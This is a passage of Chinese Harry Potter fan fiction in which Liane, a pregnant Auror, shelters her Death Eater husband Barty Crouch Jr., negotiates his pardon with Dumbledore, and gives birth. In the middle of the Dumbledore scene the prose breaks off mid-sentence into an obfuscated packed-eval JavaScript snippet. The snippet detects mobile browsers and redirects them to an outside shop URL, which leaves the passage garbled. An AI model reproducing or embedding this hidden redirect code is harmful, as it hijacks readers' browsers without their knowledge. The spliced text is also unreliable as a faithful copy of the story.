“亲爱的。”回到酒吧的房间后,莉安难得对小巴蒂撒了娇,搂着他的脖子不停眨眼睛,看上去古怪极了,就像眼皮抽筋了似的,但她自己一点儿也没发现,还在试图对他抛媚眼。 “亲爱的,”莉安夹着嗓子说,尽量让自己的声音娇滴滴的,“亲爱的,还有没有其他事瞒着我呀。” 小巴蒂抖了抖身上不存在的鸡皮疙瘩,没好气的说,“你中了眼疾咒吗?没有!” 莉安泄了气似的往床上一躺,“我就知道我做不来美人计,你净胡说八道——” “等你生完孩子以后,我会很高兴看到你对我用美人计,而不是现在,我什么也做不了,”小巴蒂用冷淡的腔调说,“你不要特意用美人计,它不适合你,我建议你在闭紧嘴巴的情况下直接脱光了躺下,这样成功率最高。” 莉安瞪了他一眼,用被子蒙着头。 她太羞耻了。 “早点睡吧,亲爱的,明天如果我们都没事,我陪你逛霍格莫德。” 小巴蒂关了吊灯,又把星球熔岩灯点亮,他爬到床上,把她的头从被子里挖出来,按在自己胸口上,他已经变形,这是他本来的音色。 莉安听到他的声音离自己很近,就在她耳畔回荡着,他的声音不仅从他的身体里传出来,也似乎是从她的身体里迸发出来的。 像一个久远的承诺,可以追溯到久远的童年,又像被遗忘的故事回声,终于可以破喉而出。 她再一次感受到了对他的依赖和爱,在这个平静的春日夜晚,他的声音让她不安的灵魂得到了渴望已久的抚慰,同时也让她的警惕心降到最低。 “晚安。”她在他怀里合上眼,感觉有一桩心愿已经达成,甜蜜的坠入了无梦的睡眠。 27. 卧底 1997年4月6日,霍格莫德。 这天莉安在霍格莫德巡逻时,偶遇了来这里接受幻影显形特训的罗恩和赫敏。 “练习的怎么样?”莉安冲着他们打了个招呼。 “我还不错。”赫敏微微一笑。 “我还差点儿,”罗恩嘀咕着说,“但至少移动了。” “天呐,普威特,”魔法部指派的幻影显形教师——威基·泰克罗斯盯着她的肚子,夸张的大喊出声,“你也太拼命了,这都七个月了吧?” “嗯,七个半个月了,”莉安点点头,“不过不影响什么,女巫可不像麻瓜那么脆弱。” “乔希呢?”罗恩左看右看,“他不是一向跟你形影不离吗?” “他今天有事要忙,”莉安不慌不忙的说,“大概是如尼文的稿件出了什么问题,他去拜访一位魔文大师了。” “去喝一杯吗?”泰克罗斯热情的邀请道,“我给你说,格兰杰小姐真是太棒了,她显然是完美的…完美的目光、决绝和从容——像当年的你一样!” “行啊,反正我们也快换班了,”莉安点点头,转向旁边一直沉默的唐克斯,“一起吗亲爱的唐克斯?” “不了,”唐克斯仿佛是刚从沉思中回神,连忙摇头,“我必须去一趟城堡,我有事要找邓布利多。” 说话间,她仿佛是在无心的撕扯着她袍子的袖子,莉安觉得她现在的样子十分可怕,比平常更瘦,灰褐色的头发很稀疏。 “你找他有什么事吗?” “没什么,”唐克斯心不在焉的说,“我只是想他可能了解情况…我听到传闻…有人受伤…” “我知道,”莉安警惕的瞄了瞄一脸热情等待她的泰克罗斯,低声说道,“我也收到了凤凰社成员的信,我知道你在担心什么。” 唐克斯的眼中已泪水盈盈,“我先走了,回头见吧,莉安…” 说完,她匆匆的走了,莉安望着她的背影摇了摇头,跟泰克罗斯、赫敏和罗恩往三把扫帚酒吧而去。 他们穿过马路,几分钟以后就进了那家漂亮的小酒馆。 这里拥挤嘈杂,温暖而烟雾腾腾,身材婀娜、脸庞标致的老板娘——罗斯默塔女士正在吧台那里照料一帮子吵吵闹闹的男巫。 “我去叫酒。”罗恩看着罗斯默塔女士,脸有点儿红。 泰克罗斯走到房间后部,找了一张靠窗的小桌子,还靠近壁炉,莉安脱掉了斗篷,打算就着炉火把它烘得暖和一些,五分钟之后,罗恩回来了,拿着四大杯冒着泡沫的热黄油啤酒。 “罗恩,你在盯着什么呢?”赫敏不满的说。 “没什么。”罗恩慌忙把目光从吧台那儿挪开,掩饰性的喝了一大口黄油啤酒,莉安猜测他是想引起那位妩媚动人的老板娘的注意——据说罗恩已经暗暗喜欢她好长时间了。 “我想,你的那位‘没什么’正在后面拿更多的火焰威士忌吧?”赫敏尖刻的说。 罗恩没理会这句嘲讽的话,一言不发的慢慢喝着黄油啤酒,显然以为自己那副派头很高贵、很深沉。 泰克罗斯开始滔滔不绝的夸赞赫敏的天赋,仿佛下一秒就要向她求婚了似的,赫敏用手指敲着桌子,眼睛忽而望望罗恩,忽而望望吧台。 “唐克斯最近到底是怎么了?”罗恩不雅观的对着泰克罗斯翻了个白眼,小声对莉安说,“她好像有点崩溃了,就像你在圣诞节时那样,变得六神无主了。” “这有点怪,”赫敏显得很担心,“她应该守护学校,为什么突然擅离职守去找邓布利多。” “并不是擅离职守,我们刚才跟其他傲罗换班了,她现在是自由活动时间,我认为,擅自进入霍格沃茨才是大问题,万一她被夺魂咒控制或者是别人喝了复方汤剂伪装的呢?”莉安慢悠悠的说,“当然啦,这只是针对普通巫师,唐克斯是个易容马格斯,她可以千变万化,别人是不可能伪装她的,比如你怀疑她不是唐克斯,就可以要求她变形——因为这个天赋极其稀有,且只能通过血脉遗传。” “是啊,我真羡慕她的天赋,”泰克罗斯终于不再尬夸赫敏了,这让赫敏松了口气,毕竟那个礼貌性的笑容都快僵在她脸上了,“我说,你们傲罗指挥部真是人才辈出啊,但是至今为止也没抓到那个协助越狱者。” “协助越狱者?”罗恩敏锐的问,“你指的是小巴蒂·克劳奇的第二次越狱?” “小声点,”莉安四下看了看,见酒吧里吵吵嚷嚷的,没人注意到他们,才提醒道,“魔法部不承认这件事,现在风声鹤唳的,如果被法律执行队听到就糟糕了,我可不想把你们押送到阿兹卡班,罪名是‘大声在酒吧里讨论食死徒的秘密计划’,就像那个斯坦·桑帕克一样。” “是啊,斯克林杰一直把这件事捂得死死的,”泰克罗斯凑近了她,低声说道,“但是我跟威廉森很有些交情,他有一次喝多了告诉我,小巴蒂·克劳奇并非是摄魂怪放走的。” 顿了顿,他又咂吧着嘴,感叹一声,“你看,连他们两个孩子都知道,魔法界还有谁不知道呢?” “的确有协助越狱者,但是部里查不出来是谁在帮他,斯克林杰怀疑魔法部有内奸,或者是被施了夺魂咒,”莉安毫不心虚的解释道,“那个人时隐时现,摄魂怪并非能一直感知到她的存在,并且它们是瞎子,无法描述对方的具体长相,而其他犯人没有看到她。” “这还不简单吗?”泰克罗斯喝了一大口黄油啤酒,得意的摇着脑袋,“去年平反的西里斯·布莱克,知道吧?他怎么越狱的,摄魂怪不也没有察觉到吗?我猜啊,没准他们是用了同样的方法呢…” 莉安一瞬间变得很警觉,她立刻盯着赫敏和罗恩——主要是赫敏,这个姑娘太聪明了,有时候聪明的可怕。 “小克劳奇?”赫敏摇了摇头,“他不可能是…不是说协助者是个女人吗?” “谁知道呢!”罗恩把黄油啤酒倒进嘴里,不在意的说,“关心他的事干什么,他胆子再大,还能藏在这霍格莫德?这里可是有这么多傲罗呢!” 突然,一阵微风拂过他的头发,三把扫帚的门打开了,几人从大杯子的边上往门口看去。 “红醋栗糖酒,”小巴蒂对着吧台喊了一声,他抖了抖长袍,快步往他们这边走来,坐到莉安旁边,“说什么呢?” “噢,原来是普威特的丈夫,”泰克罗斯尴尬的笑了笑,做贼一样四处瞄了瞄,“说小巴蒂·克劳奇呢。” 小巴蒂温和的脸上,表情有些古怪,莉安一副无语的样子,嘴边还滴着黄油啤酒,倒是罗恩没发现此刻的气氛有些怪异,继续聊起刚才的话题。 “我才不信呢,这里有邓布利多,还有唐克斯和莉安,简直安全得不能再安全了,借他一百个胆子也不敢来,”他嘟嘟囔囔的说,“莉安,你一点儿都不后怕吗?毕竟那时候你跟他学防御术,弗雷德和乔治说,穆迪甚至还给你送药剂,一直对你挺好的…” “什么药剂?”赫敏突然问道。 “好像是增加食欲的药剂?我也不知道。” “是吗?”小巴蒂抿了一口他的红醋栗糖酒,露出一个恰到好处的惊讶表情,“我知道这件事之后差点儿吓死了,谁知道都快毕业了,还会出现这种骇人听闻的事。” “是啊,如果那个假穆迪再狠一点,你就没有老婆和孩子了,”罗恩愤愤不平的叫道,“你都不知道他有多可怕,伪装了一年,对莉安那么好,结果最后一刻却对她施了夺魂咒,拿她当人质威胁邓布利多,他简直丧良心!” “夺魂咒?”泰克罗斯仿佛嗅到了八卦的味道,迫不及待的问。 “没错,我被施了夺魂咒,不然我就拿到三强杯了,然后死掉,”莉安面无表情的说,“你看过《唱唱反调》那篇哈利的独家采访吧?就像他说的,那奖杯是个门钥匙,如果我先碰到奖杯,我就会被送到黑魔头身边,我不认为我有哈利那样的运气和实力,而他想要的也并不是我,可能我只会被当成一个碍事的东西,然后直接被死咒击中了吧。” “我知道,”赫敏不安的在座位上扭动着身子,轻声的说,“哈利说不知道为什么你突然停下来了,身体一直在发抖,总是把魔杖举起又放下,然后突然就发射了求援的火花,事后一回想,我们才发现那是你在反抗夺魂咒,但是没能成功。” “小克劳奇的夺魂咒?”泰克罗斯又问,“反抗是什么意思?普通巫师中了夺魂咒还有能力反抗吗?” “不,不能,”赫敏认真的说,“小克劳奇曾经教我们抵抗这个咒语,但是只有哈利一个人能勉强抵抗住——靠强大的意志力,我想莉安已经很强大了,但是她最后显然失败了。” 这时,小巴蒂发现炉火快要熄灭了,他漫不经心的弹了弹手指,炉火便又猛地燃烧起来,他把莉安的斗篷拿过来,重新裹在她身上。 “不错,很暖和,”他满意的看着听话的妻子,又转向另外三人,“早点回去吃午饭吧,我也得带莉安回去了,她现在很容易犯困。” 泰克罗斯终于醒悟过来,“噢…是的,她可是个孕妇啊,没关系,我们下次有时间再聊。” 三把扫帚的门又开了,夫妻二人走了,赫敏盯着炉火,若有所思。 莉安刚跟小巴蒂温存了一会儿,唐克斯的守护神就跳到了她的窗户上。 “莉安,邓布利多通知我,要你去城堡一趟。” 莉安盯着那头巨大的银狼,从鼻子里发出一声冷哼,“我知道了。” 银狼跑走了,她不耐烦的跟小巴蒂发着牢骚,“连守护神都变成卢平那个老男人了,我可真够无语的,今天她还去找邓布利多打听卢平受伤的事,连我都能看得出来,卢平这一年明明是在躲着她,哼,恋爱脑居然在我身边!” 小巴蒂被她这副宽以待己严于律人的无耻模样逗坏了,他发出一阵疯狂肆意的大笑,“我的天,你这个顶级恋爱脑居然说别人是恋爱脑!唐克斯再怎么样她喜欢的也不是食死徒,更没有为了卢平劫狱,我求求你,亲爱的,千万不要把我笑死,不然谁来照顾你和孩子们呢?” 莉安被他说得脸都涨红了,她瞪着没脸没皮笑得直不起腰的丈夫,很想扔个恶咒到他脸上,却还是舍不得,最终泄了气似的起身,把斗篷披在身上。 “邓布利多找我干嘛呢?难道是有新的部署计划?” “我陪你去吧?”小巴蒂笑够了,他的手按在了那壶樱桃汁上。 “不,不用,如果真是关于加强守卫的计划,邓布利多肯定不希望我带着别人去。” 莉安拒绝了他的好意,吻了吻他的唇,“等我回来,亲爱的,这几天你早出晚归太累了,下次别到处找我了,还得喝复方汤剂,这多难受啊,下次我换了班会早点回来。” “那我今天在房间里等你,”小巴蒂幸福的眯着眼睛享受她的吻,“最近应该不会太忙了,我今天去开会,听麦克尼尔说,他们已经成功拉拢了巨人,它们正往英国来,至于其他的半人类生物,吸血鬼和妖精没有反应,狼人一开始就是食死徒这边的,我猜倒是白鼬那里动静挺大的,贝拉越来越得意了。” “我知道了,你摸鱼的时候千万要注意,别被他发现了。”莉安又摸了摸他的脸颊,发现这男人真的挺扛老,一张娃娃脸可爱极了。 唉,长得这么帅,难怪她会犯错误,可是卢平头发都快全白了,看上去憔悴又苍老,她压根理解不了唐克斯。 莉安把魔杖插进口袋里,依依不舍的离开了酒馆,猪头酒吧白天时就像群魔乱舞一样,各种古怪的巫师都可以在这里见到:野头野脑的巫师、喧闹的侏儒,戴兜帽的人影,如果他们不是用很浓重的约克郡口音在说话,简直就像摄魂怪,记得有一次,她甚至看到了一个戴着厚厚的巴拉克拉瓦盔帽、看上去像是鬼怪的人要了一碟子生肝。 猪头酒吧经常有黑巫师们进行违法交易,有时候这里不亚于翻倒巷。 酒吧老板正在用一块脏得像是从来没洗过的破布擦一只玻璃杯,看到她从楼上走下来,突然打了个招呼。 “普威特女士,你们的房间需要打扫吗?只要一个加隆!” 莉安看他不停的用那块肮脏的破布擦同一只玻璃杯,把它擦得更脏了,立刻摇了摇头。 “不了,我的小精灵每天都会来打扫。” 酒吧老板没再说话,莉安把兜帽戴在头上,又让宽大的斗篷遮住了肚子,往通向霍格沃茨的荒凉小路去了。 莉安的腿有些酸,孕晚期让她的双腿双脚变得水肿,每天巡逻已经很辛苦了,谁知道还要跟邓布利多额外会面,如果不是怕现在变形会对孩子有影响,她都想直接飞过来了。 当她终于看见学校大门两边高高的、顶上装饰着带翼的野猪石柱时,总算松了口气。 城堡的大门被锁的严严实实,她抽出魔杖,在锁上敲了一下,链条便像蛇一样缩了回去,大门吱吱嘎嘎的开了。 等她来到了城堡的台阶上,看到那两扇橡木大门敞开着,露出里面铺着石板的宽大门厅时,一阵阵怀念的感觉涌上心头。 她没有去礼堂看一看,而是登上门厅的大理石阶梯,没一会儿就来到了三楼,这里光线特别昏暗,一块窗户玻璃松动了,一股春天的大风吹进来,把火炬扑灭了。 她望了望尽头的黑魔法防御术办公室,现在那里属于斯内普了,一阵恶心的感觉涌上心头,她扶着墙干呕几下,然后默默的拐了个弯,转向另一道走廊,不多时便在一个奇丑无比的巨大的石头怪兽面前停下了脚步。 “滋滋蜂蜜糖。” 怪兽突然活了起来,跳到一旁,它身后的墙壁裂成了两半,墙后面是道旋转楼梯,正在缓缓的向上移动,就像自动扶梯一样,莉安一踏上去,就听见后面轰隆一声,墙又合上了。 她旋转着越升越高,越升越高,最后,她面前出现了一道闪闪发亮的栋木门,上面是一个狮身鹰首兽形状的黄铜门环。 到了顶上,莉安迈出石梯,在门上敲了敲。 “请进。”门无声无息的打开了,她走了进去。 莉安环顾四周,这是一个宽敞、美丽的圆形房间,充满了各种滑稽的小声音,细长腿的桌子上放着许多稀奇古怪的银器,旋转着,喷出一小股一小股的烟雾。 墙上挂满了昔日的男女老校长们的肖像,他们都在各自的像框里轻轻的打着呼噜,房间里还有一张巨大的书桌,桌脚是爪子形的,在桌子后面的一块搁板上,放着一顶破破烂烂的、皱皱巴巴的巫师帽——分院帽。 它旁边一个玻璃匣子里放着一把银光闪闪的宝剑,剑柄上镶着大颗的红宝石,它曾经属于莉安学院的创始人戈德里克·格兰芬多。 一只凤凰站在门边的金色栖木上,个头有天鹅那么大,鲜红的和金色的羽毛光彩夺目,它摇动长长的尾羽,正朝莉安眨着眼睛。 “请坐吧。”邓布利多坐在书桌后面,指了指他对面的一把椅子,轻松的说。 莉安满腹疑虑的坐下来,直奔主题,“邓布利多,是有什么新的防护措施需要我配合吗?还是你变更了什么保护性咒语?” “不,莉安,今天请你来是有别的事情,”邓布利多微笑道,“可以请你喝杯饮料吗?” “不了,”她生硬的说,“我走了很远的路,希望你是真的有要紧的事找我。” 邓布利多站了起来,快步走到墙角的一个黑柜子旁,那里有一个大酒柜,摆满了酒瓶,他把一杯橘子汁放在莉安面前,又给自己倒了一杯葡萄酒,然后回到书桌旁。 “看来你很喜欢有话直说,那么我想知道,莉安,你为什么会给我送信呢?” “我没有给你送信。” “我知道是你送的信,”邓布利多愉快的微笑着说,“那猫头鹰我在霍格莫德见过很多次,你刚离开医疗翼没多久,我就收到了你的信。” 他举起杯子,像要跟莉安干杯,但莉安还是面无表情。 “你想说什么?”莉安不耐烦的说,“不过是一封信而已,傲罗有自己的信息渠道,没什么好惊讶的。” “哦,”邓布利多说,依旧面带笑容,“但是这种信息可不是一般人能得到的,你甚至比凤凰社所有人知道的信息都要全面。” “恐怕不是所有人,只是某个人吧,”莉安意有所指的说,“我只是奇怪为什么你那么信任斯内普,明明他——” “我认为,我永远都信任西弗勒斯,”邓布利多平静的说,“而你对他有某种偏见。” 莉安露出一个讽刺的笑容,“随你吧,我并不想知道他的事。” 邓布利多从他的杯子上面打量了她一会儿才开口。 “我知道你有很多秘密,”他冷静的说,“我很遗憾,没有保护好你,在三强争霸赛时期让你陷于危险的境地。” 莉安闭上了眼睛,不带感情的说,“我过得很好,这你一定了解,邓布利多。” “你觉得你的选择是对的,是吗?”邓布利多优雅的问。 “当然,”莉安说,仍然是那个没有感情的平板语调,“但你可能误解了我的选择,在面对黑魔头时,我们是一边的。” “恐怕是某些时候,”邓布利多平静的纠正了她的话,“某些,但在另一些时刻上,你还是…恕我直言…你做了错事。” 莉安第一次笑了,那是一种冷冷的笑容,带着讥讽。 “错事?”她轻声的说,“可是,邓布利多,在我入学之后,没有人会对那样对我,我和纳威并无不同,哪怕我的父亲和叔叔像隆巴顿夫妇一样为了凤凰社的理念、为了对抗黑魔头以及食死徒牺牲,我也没有获得任何人的偏爱。” “也许只是你没发现。”邓布利多提醒道。 “但我现在不在意了,”莉安说,“我将我的生命交给你,听你指挥,但在其他事情上,我会有我自己的坚持。” 邓布利多扬起了眉毛。 “你的坚持就是帮小克劳奇越狱?哪怕他曾经拿你当人质,差点杀死你,甚至冒着被我怀疑是叛徒的风险?” “真是无耻的行径!” 一个粗暴的声音喊道,莉安注意到,声音是从墙上的一副校长画像上发出的,这是一个留着山羊胡,长着一副聪明相的男巫,他身着银绿相间的斯莱特林服装,正摸着他的缎子手套,怒气冲冲的看着她。 墙上其他许多老校长虽然逼真的打着呼噜,流着口水,却从眼皮底下偷偷的看着她和邓布利多。 “菲尼亚斯,别太激动,”邓布利多阻止了他,“如果不是她救了西里斯,你就没有玄孙了。” “我不相信。”菲尼亚斯粗暴的说。 “我的坚持,”莉安没搭理菲尼亚斯,她停了片刻,继续说道,“没错,我无条件信任小巴蒂·克劳奇,他不会伤害我,也不会伤害我在乎的人,更何况我从来没有出卖过任何情报,反倒是他默许我对你传递情报。” “我很高兴听到你这些话,”邓布利多说,“毕竟我一直在猜测,以小克劳奇的聪明程度,恐怕他回到伏地魔身边的第一件事就是杀死西弗勒斯,可他并没有这么做。” “你知道就好。”莉安哼了一声。 “那么,如果我今晚去猪头酒吧,应该会看到你的丈夫在等着你回去吧?看来你们的感情很好,他一直跟你形影不离。” 莉安皱了皱眉,但她立刻镇定下来。 “你果然无所不知,邓布利多,如果我猜得没错,你之前并不知道我是协助越狱者,只是猜测而已,是那个鬼鬼祟祟的酒吧老板告诉了你我丈夫的身份,他偷偷进了我们的房间,对不对?” “哦,我的确跟他关系不错,”邓布利多轻松的说,“希望你能保守秘密。” “当然。”莉安冷冷的说。 邓布利多放下空杯子,坐直身子,双手指尖碰在一起,莉安注意到,他的一只手既干枯又焦黑,好像上面的肉都被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727493|144974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烧干了。 “我们把话说开吧,莉安,我当然不知道你是怎么帮他越狱的,但是我很感兴趣,并且…” 莉安一言不发,静静的等着他下一句话。 “你是否愿意一直帮助哈利?” “我当然会帮他,邓布利多,但有个条件。” “那你想要什么,莉安?” “我要撤销他的罪名,”莉安郑重的说,“你要知道,邓布利多,斯内普并没有得到黑魔头的全部信任,巴蒂就不一样了,你想让他为你做事,首先需要付出诚意,我当然愿意为对抗黑魔头的事业牺牲,但我们还有三个孩子,我是个孤儿,可我不想我的孩子也是。” “如果你真的能控制小克劳奇的话,”邓布利多说,“而我也需要一个保证。” “你想要什么保证?”莉安望了望窗户的方向,警惕的说,“你不要想着捉到我去威胁他,那你就太小看我了,邓布利多,而且坦率的说,你捉不到我的,你也别指望我会束手待毙,当然,如果你愿意看他发疯,我没意见,反正我能逃掉。” “这恐怕就是你帮小克劳奇越狱的手段吧?”邓布利多若有所思的说。 “没错,就算你把我扔进阿兹卡班也没用,我只会比他更快的逃掉,并且没有人会相信你说的话。” “那你如何保证呢?” “无论怎么样,我们的目的是一样的,”莉安站起身,“我不知道你想让我怎么做,但是我可以很肯定的告诉你,我和他的感情是你们不能理解的,我从来不想放弃普威特的责任,哪怕他们的名声带给我沉重的负担。” 顿了顿,她又说,“我会跟黑魔头战斗到底。” 邓布利多也站了起来。 “那我们达成一致了,找个时间,让小克劳奇跟我见面。” “凤凰社有多少人知道他的身份?” “目前只有我,西弗勒斯猜到了一些,但他不能确定。” 邓布利多的脸上突然流露出深深的悲哀,“莉安,我不知道你在霍格沃茨的最后一年经历了什么,但是你已经毕业了,甚至不知不觉中成长为一个法力高强的女巫,而我能教导你、让你认错的时间早已过去,可我希望能,莉安…我希望能…” “太晚了,”莉安叹息着,“太晚了。” 她摇着头,仿佛是在惋惜自己可悲的一生,但那一刻很快过去,她已转身走开。 “我已经不需要了。” 门在关上,她不见了。 莉安从霍格沃茨慢慢走回霍格莫德时,天已经快要黑了,她望着几个熟悉的店面,村外远处黑黢黢的群山轮廓,还有猪头酒吧窗户里透出的灯光。 她的心猛地抽搐了一下,想起小巴蒂迎接自己时,手里还拿着一盏摇摇晃晃的提灯,那一幕情景如刀割一般逼真,恍惚间,她似乎看见小巴蒂又从猪头酒吧钻出来,朝她一步步迎了过来。 “宝贝?” 莉安眨眨眼睛,发现小巴蒂真的出现了,他没拿提灯,因为街上不是很黑,借着几盏路灯和楼上那扇亮着暗蓝色灯光的窗户,她很轻易的就能看到丈夫伪装后的温和面庞。 “亲爱的。”莉安快步朝他走了过去,如果不是肚子太大,她甚至都想跑起来。 她迫不及待的投入了那个泛着苦艾酒味儿的怀抱,紧紧的抱着他。 “巴蒂…巴蒂…”她喃喃的说。 “怎么了?邓布利多欺负你了?”小巴蒂敏锐的感知到她此刻软弱的情绪,便小心的把她横抱起来,一脚踢开猪头酒吧的大门,对一屋子嘈杂的人群视若无睹,回到了二楼的房间里。 “不,邓布利多没有欺负我,”莉安搂着他的脖子,把头埋在他胸口上,“但是他知道了我们的关系,他说想跟你见一面,看来是想让你做他的卧底。” “死老头长得不咋地,想得倒挺美。”小巴蒂不屑的说。 “我答应了。” “什么?”小巴蒂把她放在床上,仿佛没听清她的话似的,疑惑的盯着她,“什么答应了?” “我说,我答应了邓布利多,”莉安平静的说,“作为他帮你撤销罪名的条件。” “你都不先跟我商量一下吗?”小巴蒂阴晴不定的看着她,“还是说,邓布利多用我威胁你?或者他打算用你威胁我?” “别把邓布利多想的那么坏,”莉安说,“我肯定会帮助哈利的,我是凤凰社的人,我想着,如果我牺牲了,那最起码还有你,巴蒂,别让我们的孩子做孤儿,你好好想想,如果我们都死了,男孩儿倒还罢了,如果我们的女儿孤苦无依,她最后像我一样,爱上了一个像你一样的人,你真的会同意吗?” 小巴蒂很想说,同意,但他也知道,他肯定不会同意的。 她比他小15岁,从本质上来说,他更像一个怪叔叔,让她对自己有了雏鸟一般依赖的情结,这其实就是诱拐了一个不懂事的少女。 没准儿普威特兄弟已经在坟墓里咬牙切齿了好几年,哭得肝肠寸断。 莉安知道他此刻的沉默代表着什么,他恐怕比任何人都清楚的知道,他对她到底做了什么令人发指的事。 他是恶劣且不知悔改的小巴蒂·克劳奇。 就像她有好多次都想出言不逊,说一些让他受伤好多年的话,或者至少像污渍或瘀伤一样粘在他身上,那样肯定会毁了他的每个晚上。 如果他真的死了,她可能永远也无法知道自己对他的感情到底有多浓烈,永远也无法察觉到什么才是真正的自己,但他的再次出现让她的人生偏离了航线,他永远无法纠正这个错误,此时此刻,她永远被困在了他的世界,要一直做各种蠢事。 她已经孤单了太久太久,只有和他在一起,她才会不再形单影只,如果他死了,那么她也会死掉——可是太年轻了,她不应该这么早就死去,尤其是他们还有孩子的情况下。 如果她死了,他会像她一样怀念他们这段独一无二的爱情吗?还是就像慢慢长大的她一样,努力不去想某个已经离开了自己但一直渴望被他所爱的人?这么多年来她一直让自己不要去想他,她一直在努力,也一直在失败。 莉安叹了口气,她有些疲惫的甩掉鞋子,把两只脚解放了出来,她知道自己说服丈夫的希望渺茫,而她更是笨嘴拙舌,只好把苦楚藏在心里。 小巴蒂回神时,就看到她安静的侧卧在床上,双腿修长,光滑又精致,过了一会儿,她换了个姿势,抬起脚,纤细的白色脚踝搭在另一只脚的脚踝上。 她发现他在看她的脚,便害羞的动了动其中一只脚的脚趾头,让它蜷缩起来,仿佛一个胆怯的孩子即将面对大人的责骂那样惶恐不安。 他一直陷在爱里,但他不能确定他是否明白那意味着什么,陷在爱里。 他一直都在想着她,但他无意中伤害她的次数仿佛比关心她的时候还多,他无法描述她的感受,但他隐隐约约能感受到什么,仿佛那种感觉更像是一种缺失感,一种失落感,甚至可能是失败感,麻木感,或者全然无能为力。 他曾对自己的爱无比肯定,觉得他已经做到了最好,而当他闯入她的人生时,她也喜欢他伸出手去触碰她,所以他从未怀疑也从未在意过她可能并不希望他这样——只要她否认,一律当成她在嘴硬。 这一刻她提醒了他,她的生活原本应该是什么样子,却被他改变了这一切。 “邓布利多如果真的答应的话,那倒也不是不能考虑,”小巴蒂坐到床沿边,把那双长腿搂进怀里,慢吞吞的说,“他要是敢耍我,就算带一百个摄魂怪来,我也会让他付出代价。” 有时候,在他承诺之后,莉安最不想感受到的反而是希望,因为在希望的背后,一定有一种强烈的渴望,以至于任何人看到她,都会立刻知晓她对他的那份彻底的、无可救药的痴情。 何况是聪明绝顶的他呢?一个跟他对视一眼,立刻就被他察觉到她深爱着他的人。 但她不介意被他知道,她想让他知道,像小巴蒂这样又坏又聪明的男人,如果他知道她被迷住了,也希望她被迷住,那么一切恐怕如他所愿,他会发现她每一次试图掩饰的软弱。 只是她不想表现出来,不想让他发觉她努力保持镇定的样子。 “怎么不说话?”小巴蒂变形后,他终于觉得自己摸够了,心满意足的放开了她的腿,大大的伸了个懒腰,然后俯下身,手臂撑在床上,那双灰色的眼睛凑的很近。 “感动吗?是不是更爱我了?” 莉安躲避他此刻深情的目光,试图看向别处,显得心不在焉。 她想让他问她为什么突然不看他,因为想让他担心他会失去她,就像她知道她可能会轻易失去他一样。 但她也想听他放肆的笑声,像个神经病或者发狂的疯子那样,因为她做的正是她所想做的,她想让他看穿她假装的冷漠,把她的每一个把戏都暴露出来,因为他对这个游戏足够熟悉,毕竟他自己都已经玩过很多次了,也许现在依旧在游戏中。 她咬了咬舌头,无耻的念头在她心里涌动,她真的很过分,因为她在假装,一个害羞的人正在假装害羞。 “还没吃饭吧?我在楼下要了一份晚餐,让老板放在门口了,我现在去拿。” 小巴蒂很轻易的就看穿了她拙劣的把戏,晃晃悠悠的起身,想往门外走,但他马上就被莉安从背后抱住了。 也许她想要的并不是让他不去做这件事,而是阻止他动身,因为她害怕最微弱的一步都可能把他们分开,也许任何事情都可能在开门的瞬间发生,他可能会走掉,也可能会被人抓去,再也找不回他们原本的谈话。 “谢谢你,巴蒂。” 小巴蒂扬起嘴角,果然,她还是想靠近他,而不是把他打发走,她的动作就像一只不想被看穿却渴望被抚摸的野猫,悄悄的接近他。 “真是个小傻瓜。” 他转过身来,吻上了她的唇。 28. 女儿 1997年6月1日,霍格莫德。 两个小精灵在房间里进进出出,唐克斯抓住了其中一个,声音中带着一种恐惧,“她怎么样了?” “主人暂时没事,”赫洛打了个响指,门口一堆散发着不详的血腥味的垃圾消失了,“治疗师已经在里面了。” 唐克斯松了口气,酒吧老板从隔壁房间拖出来一把破破烂烂快要散架了的椅子放在肮脏的走廊里,粗声粗气的说,“你坐这儿吧,女巫生孩子很快的,不用太担心。” “我没法不担心,”唐克斯坐下来,手指使劲儿的拧着她的袍子,用力过大,袍子的贴边都被她拧得开了线,“谁知道会出这种意外呢…” “这不是你的错,”酒吧老板粗暴的打断了她,“那个袭击学生们的渣滓呢?” “幻影移形跑了,”唐克斯一脸憔悴,担忧的望了望紧闭的房门,她沮丧的说,“我只顾得上把莉安带回来,没时间管他了…” “通知法律执行队没有?” “没有,用不着他们,德力士和威廉森已经去追捕他了,”唐克斯说,“你看到她的丈夫乔希没有?他怎么不在这里?” “不知道,”酒吧老板没好气的说,“他神出鬼没的,用不着你惦记!” 两人听着房间里断断续续痛苦的叫声,都不再说话了。 过了一会儿,小巴蒂才出现在一楼,他三步并作两步登上楼梯,脸上温和的笑容不见了,看起来阴沉的有些恐怖,唐克斯还没来得及说什么,他就重重的推开了门,旋风一般的消失在两人的视线里。 门又关上了,一阵微风吹来,只有浓浓的血腥味透过门缝钻了出来。 呻吟声渐渐弱了下去,唐克斯瘫在椅子上,感觉更恐惧了,她害怕莉安会出什么意外,手指不由自主的搅在了一起。 也不知道过了多久,天都快黑了,一声嘹亮的啼哭声终于从门里传出来,她猛地站起身,那张破烂的椅子终于散架了,酒吧老板招待完一楼的客人,听到动静,又回到了二楼。 门打开了,圣芒戈的治疗师脸上带着显而易见的疲惫神情,正在门口跟一个抱着襁褓的男人交谈,不多时,她离去了,唐克斯迫不及待的钻进了房间里。 “莉安?现在情况怎么样了?” 床上的女人没有回答,她已经陷入昏迷,失血过多的脸上一片惨白,额头上布满冷汗,赫洛正小心翼翼的拿湿帕子擦着她的脸颊和脖颈。 “你先回去,闪闪,”小巴蒂不容置疑的下了命令,“伊夫自己忙不过来,你把兰斯和洛特给我看紧了,不许让他们两个跑出房子的保护咒范围。” “是,主人。”闪闪把一个食盒放在桌子上,忧心忡忡的望着床上的女主人,棕色的大眼睛里滚落许多泪水,但她不能违背小巴蒂的命令,只好打个响指幻影移形了。 唐克斯转头看他,小巴蒂阴沉沉的说,“她要休息一个月,麻烦你替她向威廉森请个假。” 唐克斯点了点头,一副六神无主的样子。 